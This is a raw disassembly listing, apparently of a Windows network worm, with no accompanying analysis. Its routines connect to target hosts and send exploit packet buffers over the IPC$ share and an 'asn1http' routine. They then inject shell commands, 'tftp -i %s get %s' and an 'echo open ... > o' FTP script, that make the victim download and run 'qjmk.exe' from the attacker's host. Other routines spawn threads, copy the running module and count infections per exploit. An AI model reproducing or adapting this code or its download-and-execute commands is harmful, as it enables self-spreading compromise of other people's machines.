[ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_4027B4 mov esi, [ebp+arg_8] loc_4027B4: ; CODE XREF: sub_40278A+25j cmp edi, ebx jnz short loc_4027D6 push ds:dword_427084 add esi, ecx mov ecx, edi push esi call sub_40115E push [ebp+arg_4] mov ecx, edi push 0 call sub_40115E jmp short loc_40284F ; --------------------------------------------------------------------------- loc_4027D6: ; CODE XREF: sub_40278A+2Cj test esi, esi jbe short loc_402819 cmp esi, eax jnz short loc_402819 mov eax, [ebx+4] test eax, eax jnz short loc_4027EA mov eax, offset dword_427094 loc_4027EA: ; CODE XREF: sub_40278A+59j cmp byte ptr [eax-1], 0FEh jnb short loc_402819 push 1 mov ecx, edi call sub_401050 mov eax, [ebx+4] test eax, eax jnz short loc_402805 mov eax, offset dword_427094 loc_402805: ; CODE XREF: sub_40278A+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40284F ; --------------------------------------------------------------------------- loc_402819: ; CODE XREF: sub_40278A+4Ej ; sub_40278A+52j ... push 1 push esi mov ecx, edi call sub_401348 test al, al jz short loc_40284F mov eax, [ebx+4] test eax, eax jnz short loc_402833 mov eax, offset dword_427094 loc_402833: ; CODE XREF: sub_40278A+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_415960 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40284F: ; CODE XREF: sub_40278A+4Aj ; sub_40278A+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40278A endp ; --------------------------------------------------------------------------- db 33h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40288B proc near ; CODE XREF: sub_401348j arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40289D call sub_415573 loc_40289D: ; CODE XREF: sub_40288B+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_4028C6 mov al, [ecx-1] cmp al, dl jz short loc_4028C6 cmp al, 0FFh jz short loc_4028C6 cmp edi, edx jnz short loc_402901 dec al push edx mov [ecx-1], al loc_4028BB: ; CODE XREF: sub_40288B+47j mov ecx, esi call sub_401050 loc_4028C2: ; CODE XREF: sub_40288B+4Bj ; sub_40288B+52j xor al, al jmp short loc_40290B ; --------------------------------------------------------------------------- loc_4028C6: ; CODE XREF: sub_40288B+19j ; sub_40288B+20j ... cmp edi, edx jnz short loc_4028DF cmp [esp+8+arg_4], dl jz short loc_4028D4 push 1 jmp short loc_4028BB ; --------------------------------------------------------------------------- loc_4028D4: ; CODE XREF: sub_40288B+43j cmp ecx, edx jz short loc_4028C2 mov [esi+8], edx mov [ecx], dl jmp short loc_4028C2 ; --------------------------------------------------------------------------- loc_4028DF: ; CODE XREF: sub_40288B+3Dj cmp [esp+8+arg_4], dl jz short loc_4028FC mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_4028F1 cmp eax, edi jnb short loc_402909 loc_4028F1: ; CODE XREF: sub_40288B+60j push 1 mov ecx, esi call sub_401050 jmp short loc_402901 ; --------------------------------------------------------------------------- loc_4028FC: ; CODE XREF: sub_40288B+58j cmp [esi+0Ch], edi jnb short loc_402909 loc_402901: ; CODE XREF: sub_40288B+28j ; sub_40288B+6Fj push edi mov ecx, esi call sub_401208 loc_402909: ; CODE XREF: sub_40288B+64j ; sub_40288B+74j mov al, 1 loc_40290B: ; CODE XREF: sub_40288B+39j pop edi pop esi retn 8 sub_40288B endp ; --------------------------------------------------------------------------- db 21h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_402931 proc near ; CODE XREF: sub_401050j arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40295D mov eax, [esi+4] test eax, eax jz short loc_40295D lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_402956 cmp al, 0FFh jz short loc_402956 dec al mov [ecx], al jmp short loc_40295D ; --------------------------------------------------------------------------- loc_402956: ; CODE XREF: sub_402931+19j ; sub_402931+1Dj push ecx call sub_4158CA pop ecx loc_40295D: ; CODE XREF: sub_402931+8j ; sub_402931+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_402931 endp ; --------------------------------------------------------------------------- db 0Fh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40297C proc near ; CODE XREF: sub_4010F0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_401348 test al, al jz short loc_4029AA push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_415960 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_4029AA: ; CODE XREF: sub_40297C+12j mov eax, esi pop edi pop esi retn 8 sub_40297C endp ; --------------------------------------------------------------------------- db 0Dh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4029BE proc near ; CODE XREF: sub_40115Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_4029D1 call sub_41579F loc_4029D1: ; CODE XREF: sub_4029BE+Cj mov ecx, edi call sub_4012E4 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_4029E7 mov ebx, eax loc_4029E7: ; CODE XREF: sub_4029BE+25j test ebx, ebx jbe short loc_402A1D mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_416430 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_401348 test al, al jz short loc_402A1D mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_402A1D: ; CODE XREF: sub_4029BE+2Bj ; sub_4029BE+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_4029BE endp ; --------------------------------------------------------------------------- db 19h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_402A3E proc near ; CODE XREF: sub_401208j mov eax, offset loc_4250D8 call sub_4163B8 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_402A64 mov edi, [ebp+8] loc_402A64: ; CODE XREF: sub_402A3E+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_402A71 xor eax, eax loc_402A71: ; CODE XREF: sub_402A3E+2Fj push eax call sub_416765 pop ecx mov [ebp+8], eax jmp short loc_402AA2 ; --------------------------------------------------------------------------- loc_402A7D: ; DATA XREF: .rdata:004281D4o mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_402A8C xor eax, eax loc_402A8C: ; CODE XREF: sub_402A3E+4Aj push eax call sub_416765 mov [ebp+8], eax pop ecx mov eax, offset loc_402A9C retn ; --------------------------------------------------------------------------- loc_402A9C: ; DATA XREF: sub_402A3E+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_402AA2: ; CODE XREF: sub_402A3E+3Dj mov eax, [esi+8] test eax, eax jbe short loc_402AC0 cmp eax, edi jbe short loc_402AAF mov eax, edi loc_402AAF: ; CODE XREF: sub_402A3E+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_415960 add esp, 0Ch loc_402AC0: ; CODE XREF: sub_402A3E+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_401050 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_402AE0 mov edi, ebx loc_402AE0: ; CODE XREF: sub_402A3E+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_402A3E endp ; --------------------------------------------------------------------------- db 2Fh dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_402B2A proc near ; CODE XREF: sub_4012E4j push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_402B57 mov al, [esi-1] test al, al jz short loc_402B57 cmp al, 0FFh jz short loc_402B57 push 1 call sub_401050 push esi call sub_4158E0 pop ecx push eax push esi mov ecx, edi call sub_4010F0 loc_402B57: ; CODE XREF: sub_402B2A+9j ; sub_402B2A+10j ... pop edi pop esi retn sub_402B2A endp ; --------------------------------------------------------------------------- db 0Ch dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_402B66 proc near ; DATA XREF: .data:00429104o test byte_492ADC, 1 jnz short loc_402B76 or byte_492ADC, 1 loc_402B76: ; CODE XREF: sub_402B66+7j jmp loc_402B80 ; --------------------------------------------------------------------------- align 10h loc_402B80: ; CODE XREF: sub_402B66:loc_402B76j push offset j_nullsub_1 call sub_4167E0 pop ecx retn sub_402B66 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B90 proc near ; CODE XREF: sub_4010B4j var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_415CA0 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_49169C ; inet_addr mov [ebp+var_C], eax mov ax, word_42AB18 push eax call dword_49165C ; htons push esi push 1 push 2 mov [ebp+var_E], ax call dword_4916DC ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_402CC8 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_491604 ; connect cmp eax, 0FFFFFFFFh jz loc_402CC8 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_491674 ; recv mov edi, offset aQjmk_exe ; "qjmk.exe" push edi push edi push [ebp+arg_0] call sub_401299 pop ecx mov esi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push esi push eax call sub_4163D7 add esp, 18h push dword_43DB94 push [ebp+arg_0] call sub_401299 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push esi push eax call sub_4163D7 add esp, 14h lea eax, [ebp+var_1A0] push 0 push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4916AC ; send cmp eax, 0FFFFFFFFh jz short loc_402CC8 push 1F4h call ds:dword_495324 ; Sleep push edi push offset aS ; "%s\r\n" lea eax, [ebp+var_1A0] push esi push eax call sub_4163D7 add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_4158E0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_4916AC ; send cmp eax, 0FFFFFFFFh jnz short loc_402CCC loc_402CC8: ; CODE XREF: sub_402B90+51j ; sub_402B90+67j ... xor al, al jmp short loc_402CEA ; --------------------------------------------------------------------------- loc_402CCC: ; CODE XREF: sub_402B90+136j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_491674 ; recv push ebx call dword_4916F4 ; closesocket mov al, 1 loc_402CEA: ; CODE XREF: sub_402B90+13Aj pop edi pop esi pop ebx leave retn sub_402B90 endp ; --------------------------------------------------------------------------- db 57h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402D46 proc near ; CODE XREF: sub_40119Aj var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_416880 mov eax, dword_42AEBC push ebx mov [ebp+var_10], eax mov eax, dword_42AEC0 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset aSIpc ; "\\\\%s\\ipc$" push eax call sub_416821 add esp, 0Ch xor ebx, ebx xor esi, esi lea eax, [ebp+var_103] loc_402D85: ; CODE XREF: sub_402D46+4Ej mov cl, [ebp+esi+var_3C] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, 28h jl short loc_402D85 push 60h lea eax, [ebp+var_B4] push offset dword_42A728 push eax call sub_415960 lea eax, [ebp+var_3C] push eax call sub_4158E0 shl eax, 1 push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_415960 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC_1+3) push eax call sub_4158E0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_415960 lea eax, [ebp+var_3C] push eax call sub_4158E0 add al, 1Ah push 1 shl al, 1 mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_415960 lea eax, [ebp+var_3C] push eax call sub_4158E0 shl al, 1 add al, 9 push 1 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_415960 mov ax, word_42AB18 add esp, 2Ch push eax call dword_49165C ; htons xor eax, 9999h push 2 mov [ebp+var_8], eax lea eax, [ebp+var_8] push eax push offset dword_42A428 call sub_415960 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_402F42 mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_415CA0 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_42AB58[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_415960 mov esi, offset dword_42A378 push esi call sub_4158E0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_415960 push 4 lea eax, [ebp+var_11AC] push offset dword_42AEA8 push eax call sub_415960 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_415960 add esp, 40h push esi call sub_4158E0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_415960 add esp, 10h xor esi, esi lea eax, [ebp+var_4803] loc_402EFB: ; CODE XREF: sub_402D46+1C6j mov cl, [ebp+esi+var_1CC4] inc esi mov [eax-1], cl mov [eax], bl inc eax inc eax cmp esi, edi jl short loc_402EFB mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_415CA0 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_415CA0 add esp, 18h jmp short loc_402F99 ; --------------------------------------------------------------------------- loc_402F42: ; CODE XREF: sub_402D46+118j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_415CA0 mov esi, offset dword_42A378 push esi call sub_4158E0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_415960 lea eax, [ebp+var_10] push eax call sub_4158E0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_415960 mov eax, dword_42AB58 add esp, 2Ch mov [ebp+var_768], eax loc_402F99: ; CODE XREF: sub_402D46+1FAj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_415CA0 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_4916AC ; send cmp eax, 0FFFFFFFFh jnz short loc_402FD8 loc_402FD1: ; CODE XREF: sub_402D46+2B9j ; sub_402D46+2E0j ... xor al, al jmp loc_403180 ; --------------------------------------------------------------------------- loc_402FD8: ; CODE XREF: sub_402D46+289j mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_491674 ; recv push ebx push 68h push offset dword_42A78C push edi call dword_4916AC ; send cmp eax, 0FFFFFFFFh jz short loc_402FD1 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_491674 ; recv push ebx push 0A0h push offset dword_42A7F8 push edi call dword_4916AC ; send cmp eax, 0FFFFFFFFh jz short loc_402FD1 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_491674 ; recv cmp [ebp+arg_C0], ebx jz loc_4030EE push 68h lea eax, [ebp+var_89B4] push offset dword_42A9B0 push eax call sub_415960 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_415960 push 70h lea eax, [ebp+var_68DC] push offset dword_42AA1C push eax call sub_415960 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_415960 push 84h lea eax, [ebp+var_5DA8] push offset dword_42AA90 push eax call sub_415960 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_4916AC ; send cmp eax, 0FFFFFFFFh jz loc_402FD1 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_491674 ; recv push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_403144 ; --------------------------------------------------------------------------- loc_4030EE: ; CODE XREF: sub_402D46+2F8j push 7Ch lea eax, [ebp+var_2CA8] push offset dword_42A89C push eax call sub_415960 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_415960 push 90h lea eax, [ebp+var_245C] push offset off_42A91C push eax call sub_415960 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_403144: ; CODE XREF: sub_402D46+3A6j push eax push edi call dword_4916AC ; send cmp eax, 0FFFFFFFFh jz loc_402FD1 push 12Ch call ds:dword_495324 ; Sleep sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_4010B4 add esp, 0BCh test al, al setnz al loc_403180: ; CODE XREF: sub_402D46+28Dj pop edi pop esi pop ebx leave retn sub_402D46 endp ; --------------------------------------------------------------------------- db 10Fh dup(0CCh) ; --------------------------------------------------------------------------- loc_403294: ; CODE XREF: .text:00401294j push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_415CA0 add esp, 0Ch lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_49169C ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_49165C ; htons push 6 push 1 push 2 mov [ebp-12h], ax call dword_4916DC ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40338D lea eax, [ebp-14h] push 10h push eax push ebx call dword_491604 ; connect cmp eax, 0FFFFFFFFh jz loc_40338D push edi push 89h push offset dword_42A510 push ebx call dword_4916AC ; send cmp eax, 0FFFFFFFFh jz short loc_40338D mov esi, 640h push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_491674 ; recv push edi push 0A8h push offset dword_42A59C push ebx call dword_4916AC ; send cmp eax, 0FFFFFFFFh jz short loc_40338D push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_491674 ; recv push edi push 0DEh push offset dword_42A648 push ebx call dword_4916AC ; send cmp eax, 0FFFFFFFFh jz short loc_40338D push edi lea eax, [ebp-854h] push esi push eax push ebx call dword_491674 ; recv movsx eax, byte ptr [ebp-810h] sub eax, 30h jz short loc_403397 dec eax jz short loc_403394 loc_40338D: ; CODE XREF: .text:004032E8j ; .text:004032FEj ... xor eax, eax jmp loc_40345A ; --------------------------------------------------------------------------- loc_403394: ; CODE XREF: .text:0040338Bj push edi jmp short loc_4033BB ; --------------------------------------------------------------------------- loc_403397: ; CODE XREF: .text:00403388j push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_40119A add esp, 0C4h test al, al jnz short loc_4033DB push 1 loc_4033BB: ; CODE XREF: .text:00403395j push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40119A add esp, 0C4h test al, al jz short loc_4033E2 loc_4033DB: ; CODE XREF: .text:004033B7j mov dword ptr [ebp-4], 1 loc_4033E2: ; CODE XREF: .text:004033D9j push ebx call dword_4916F4 ; closesocket cmp dword ptr [ebp-4], 0 jz short loc_403457 lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] imul eax, 3Ch add eax, offset aAsn1http ; "asn1http" push eax push offset dword_42AEC8 lea eax, [ebp-214h] push 200h push eax call sub_4163D7 push 0 lea eax, [ebp-214h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_4010D2 lea eax, [ebp-214h] push eax call sub_401014 mov eax, [ebp+0B0h] add esp, 2Ch imul eax, 3Ch inc dword_42AF30[eax] lea eax, dword_42AF30[eax] loc_403457: ; CODE XREF: .text:004033EDj push 1 pop eax loc_40345A: ; CODE XREF: .text:0040338Fj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 72h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4034D1 proc near ; CODE XREF: sub_4011CCj var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset dword_42B288 push eax xor ebx, ebx call sub_416821 cmp dword_42AF28, ebx pop ecx pop ecx mov edi, 200h jz short loc_40353F push esi mov esi, offset dword_42AF30 loc_403504: ; CODE XREF: sub_4034D1+6Bj mov eax, [esi] add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset aSD ; " %s: %d," push eax call sub_416821 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_4168B0 add esi, 3Ch add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_403504 pop esi loc_40353F: ; CODE XREF: sub_4034D1+2Bj push dword_4834B0 call sub_4011AE push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_416821 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_4168B0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 lea eax, [ebp+var_200] push eax call sub_401014 add esp, 38h pop edi pop ebx leave retn sub_4034D1 endp ; --------------------------------------------------------------------------- db 32h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035CD proc near ; CODE XREF: sub_4010EBj var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 8 call sub_4010E6 test eax, eax pop ecx jle short loc_403609 mov eax, [ebp+arg_C] push dword_4370C0[eax*8] call dword_4916E8 ; inet_ntoa push eax lea eax, [ebp+var_200] push offset dword_42B2EC push eax call sub_416821 add esp, 0Ch jmp short loc_40361C ; --------------------------------------------------------------------------- loc_403609: ; CODE XREF: sub_4035CD+13j lea eax, [ebp+var_200] push offset dword_42B2BC push eax call sub_416821 pop ecx pop ecx loc_40361C: ; CODE XREF: sub_4035CD+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4010D2 lea eax, [ebp+var_200] push eax call sub_401014 add esp, 18h leave retn sub_4035CD endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403661 proc near ; CODE XREF: sub_40123Aj var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_4039F1 imul eax, 3Ch xor ebx, ebx cmp dword_42AF34[eax], ebx jz loc_4038D2 push 4 call sub_4010E6 test eax, eax pop ecx jnz loc_4039F1 mov eax, dword_42C920 push edi mov edi, offset dword_43807C push 104h push edi push ebx mov dword_43828C, eax mov dword_438288, ebx call ds:dword_495330 ; GetModuleFileNameA push 103h mov esi, offset dword_438180 push offset aQjmk_exe ; "qjmk.exe" push esi call sub_416A10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_438078, eax mov eax, [ebp+arg_138] push 7Fh mov dword_438310, eax jnz short loc_403714 lea eax, [ebp+arg_10] push eax push offset dword_438290 call sub_416A10 add esp, 0Ch mov dword_438314, 1 jmp short loc_40372E ; --------------------------------------------------------------------------- loc_403714: ; CODE XREF: sub_403661+94j lea eax, [ebp+arg_90] push eax push offset dword_438290 call sub_416A10 add esp, 0Ch mov dword_438314, ebx loc_40372E: ; CODE XREF: sub_403661+B1j push esi push edi push dword_43828C lea eax, [ebp+var_204] push offset dword_42B498 push eax call sub_416821 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40105F add esp, 20h mov dword_438284, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_438078 push offset sub_4012EE push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, dword_438284 imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_40379D loc_40378B: ; CODE XREF: sub_403661+13Aj cmp dword_438318, ebx jnz short loc_4037B8 push 32h call ds:dword_495324 ; Sleep jmp short loc_40378B ; --------------------------------------------------------------------------- loc_40379D: ; CODE XREF: sub_403661+128j call ds:dword_495328 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_204] push offset dword_42B450 push eax call sub_416821 add esp, 0Ch loc_4037B8: ; CODE XREF: sub_403661+130j lea eax, [ebp+var_204] push eax call sub_401014 mov edi, offset dword_4386D4 mov [esp+210h+var_210], 104h push edi push ebx mov dword_4388E0, ebx call ds:dword_495330 ; GetModuleFileNameA push 103h mov esi, offset dword_4387D8 push offset aQjmk_exe ; "qjmk.exe" push esi call sub_416A10 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4386D0, eax mov eax, [ebp+arg_138] push 7Fh mov dword_438968, eax jnz short loc_403833 lea eax, [ebp+arg_10] push eax push offset dword_4388E8 call sub_416A10 add esp, 0Ch mov dword_43896C, 1 jmp short loc_40384D ; --------------------------------------------------------------------------- loc_403833: ; CODE XREF: sub_403661+1B3j lea eax, [ebp+arg_90] push eax push offset dword_4388E8 call sub_416A10 add esp, 0Ch mov dword_43896C, ebx loc_40384D: ; CODE XREF: sub_403661+1D0j push esi push edi push dword_4388E4 lea eax, [ebp+var_204] push offset unk_42B3F8 push eax call sub_416821 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40105F add esp, 20h mov dword_4388DC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4386D0 push offset off_40126C push ebx push ebx call ds:dword_49532C ; CreateThread mov ecx, dword_4388DC pop edi imul ecx, 234h cmp eax, ebx mov dword_43E934[ecx], eax jz short loc_4038C1 loc_4038AB: ; CODE XREF: sub_403661+25Ej cmp dword_438970, ebx jnz loc_4039E4 push 32h call ds:dword_495324 ; Sleep jmp short loc_4038AB ; --------------------------------------------------------------------------- loc_4038C1: ; CODE XREF: sub_403661+248j call ds:dword_495328 ; RtlGetLastWin32Error push eax push offset unk_42B3B4 jmp loc_4039D5 ; --------------------------------------------------------------------------- loc_4038D2: ; CODE XREF: sub_403661+25j cmp dword_42AF38[eax], ebx jz loc_4039F1 push 3 call sub_4010E6 test eax, eax pop ecx jnz loc_4039F1 mov esi, offset dword_4385AC push 104h push esi push ebx call ds:dword_495330 ; GetModuleFileNameA push 5Ch push esi call sub_4169E0 pop ecx cmp eax, ebx pop ecx jz short loc_403910 mov [eax], bl loc_403910: ; CODE XREF: sub_403661+2ABj mov eax, dword_42C924 mov dword_4386C4, ebx mov dword_4386B0, eax lea eax, [ebp+arg_10] push eax push offset dword_438324 call sub_416821 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_438320, eax mov ecx, [ebp+arg_138] push esi push dword_4386B0 mov dword_4386BC, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4386C0, ecx call sub_401299 pop ecx push eax lea eax, 